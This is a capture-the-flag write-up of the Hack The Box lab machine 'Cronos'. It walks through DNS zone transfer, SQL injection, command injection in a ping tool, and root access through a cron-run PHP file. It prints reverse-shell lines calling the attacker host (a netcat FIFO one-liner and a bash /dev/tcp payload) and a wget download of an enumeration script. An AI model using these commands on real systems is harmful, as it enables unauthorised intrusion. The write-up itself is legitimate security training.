# Cronos Writeup
|
|
|
|
|
|
|
|
## Introduction :
|
|
|
|
Cronos is a medium Linux box released back in march 2017.
|
|
|
|
## **Part 1 : Initial Enumeration**
|
|
|
|
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen]
|
|
→ nmap -F 10.10.10.13
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:00 GMT
|
|
Nmap scan report for 10.10.10.13
|
|
Host is up (0.11s latency).
|
|

|
|
PORT STATE SERVICE
|
|
22/tcp open ssh
|
|
53/tcp open domain
|
|
80/tcp open http
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen]
|
|
→ nmap -sCV -p22,53,80 10.10.10.13
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:01 GMT

|
|

|
|
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
|
|
| dns-nsid:
|
|
|_ bind.version: 9.10.3-P4-Ubuntu
|
|
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|
|
|_http-server-header: Apache/2.4.18 (Ubuntu)
|
|
|_http-title: Apache2 Ubuntu Default Page: It works
|
|
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
|
|
|
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
|
Nmap done: 1 IP address (1 host up) scanned in 16.20 seconds
|
|
|
|
λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen]
|
|
→ echo '10.10.10.13 cronos.htb' >> /etc/hosts
|
|
|
|
|
|
## **Part 2 : Getting User Access**
|
|
|
|
As our nmap scan picked up port 53 running a DNS service, we'll use the host command to list the hosts in the domain :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen]
|
|
→ host -l cronos.htb 10.10.10.13
|
|
Using domain server:
|
|
Name: 10.10.10.13
|
|
Address: 10.10.10.13#53
|
|
Aliases:
|
|
|
|
cronos.htb name server ns1.cronos.htb.
|
|
cronos.htb has address 10.10.10.13
|
|
admin.cronos.htb has address 10.10.10.13
|
|
ns1.cronos.htb has address 10.10.10.13
|
|
www.cronos.htb has address 10.10.10.13
|
|
|
|
|
|
looks like we have 2 additional domain names to add to our /etc/hosts file :
|
|
|
|
|
|
λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen]
|
|
→ echo '10.10.10.13 admin.cronos.htb www.cronos.htb' >> /etc/hosts
|
|
|
|
|
|
` 
|
|
|
|
admin.cronos.htb looks interesting, let's see if we can have [sql injection](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) :
|
|
|
|
|
|
|
|
and we're in ! we have access to a badly written php script used to ping or traceroute, but we can get code execution as www-data by adding ** & <****command>**. So let's see if we can print out the user flag :
|
|
|
|
|
|
|
|
And that's it ! we have been able to print out the user flag.
|
|
|
|
## **Part 3 : Getting Root Access**
|
|
|
|
In order to privesc, let's first get a reverse shell but to do so, we must first check if netcat is on the box :
|
|
|
|
|
|
|
|
now that we know that netcat is on the box we can use this one liner and get a reverse shell, catching the incoming connection with another netcat instance running locally.
|
|
|
|
|
|
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 9002 >/tmp/f
|
|
|
|
|
|
`
|
|
|
|
we hit execute and we get a reverse shell :
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~]
|
|
→ nc -lvnp 9002
|
|
listening on [any] 9002 ...
|
|
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.13] 36520
|
|
/bin/sh: 0: can't access tty; job control turned off
|
|
$ python -c 'import pty;pty.spawn("/bin/sh")'
|
|
|
|
|
|
Now that we have a TTY Shell, let's see if we can enumerate the machine with Linenum, but to do so we need to know if we can use wget / curl
|
|
|
|
|
|
$ which wget
|
|
which wget
|
|
/usr/bin/wget
|
|
$ which curl
|
|
which curl
|
|
/usr/bin/curl
|
|
$ cd /tmp
|
|
cd /tmp
|
|
$ wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh
|
|
wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh
|
|
--2020-02-21 18:50:39-- http://10.10.14.20:8080/LinEnum.sh
|
|

LinEnum.sh 100%[===================>] 45.54K 222KB/s in 0.2s

|
|
|
|
$./LinEnum.sh
|
|
|
|
|
|
We can, therefore we execute LinEnum.sh after adding the executing right with chmod and looking at it's output we see that crontab executes a /var/www/laravel/artisan every minute as root.
|
|
|
|
|
|
$ ls -lash /var/www/laravel | grep artisan
|
|
ls -lash /var/www/laravel | grep artisan
|
|
4.0K -rwxr-xr-x 1 www-data www-data 1.7K Apr 9 2017 artisan
|
|
|
|
|
|
To privesc on the machine, we'll modify the artisan file (which is a php file) to contain a reverse shell, we'll use the same reverse shell named nihilist.php that we used when we did [Popcorn](1.md)
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
|
|
→ locate nihilist.php
|
|
/home/nihilist/_HTB/Bastard/nihilist.php
|
|
/home/nihilist/_HTB/Networked/nihilist.php.gif
|
|
/home/nihilist/_HTB/Popcorn/nihilist.php
|
|
/home/nihilist/_HTB/Popcorn/nihilist.php.gif
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
|
|
→ cp /home/nihilist/_HTB/Popcorn/nihilist.php .
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]
|
|
→ nano nihilist.php
|
|
|
|
|
|
|
|
#!/usr/bin/env php
|
|
<****?php
|
|
exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.20/1234 0>&1'");
|
|
?****>
|
|
|
|
once we're done modifying it , we upload it , wait for cronjob to execute it and get a reverse shell this time as root
|
|
|
|
_Terminal 1:_
|
|
|
|
|
|
λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos]

|
|
cat /root/root.txt
|
|

|
|
|
|
|
|
And that's it ! we have been able to get a reverse shell as root, and we have been able to print out the contents of the root flag.
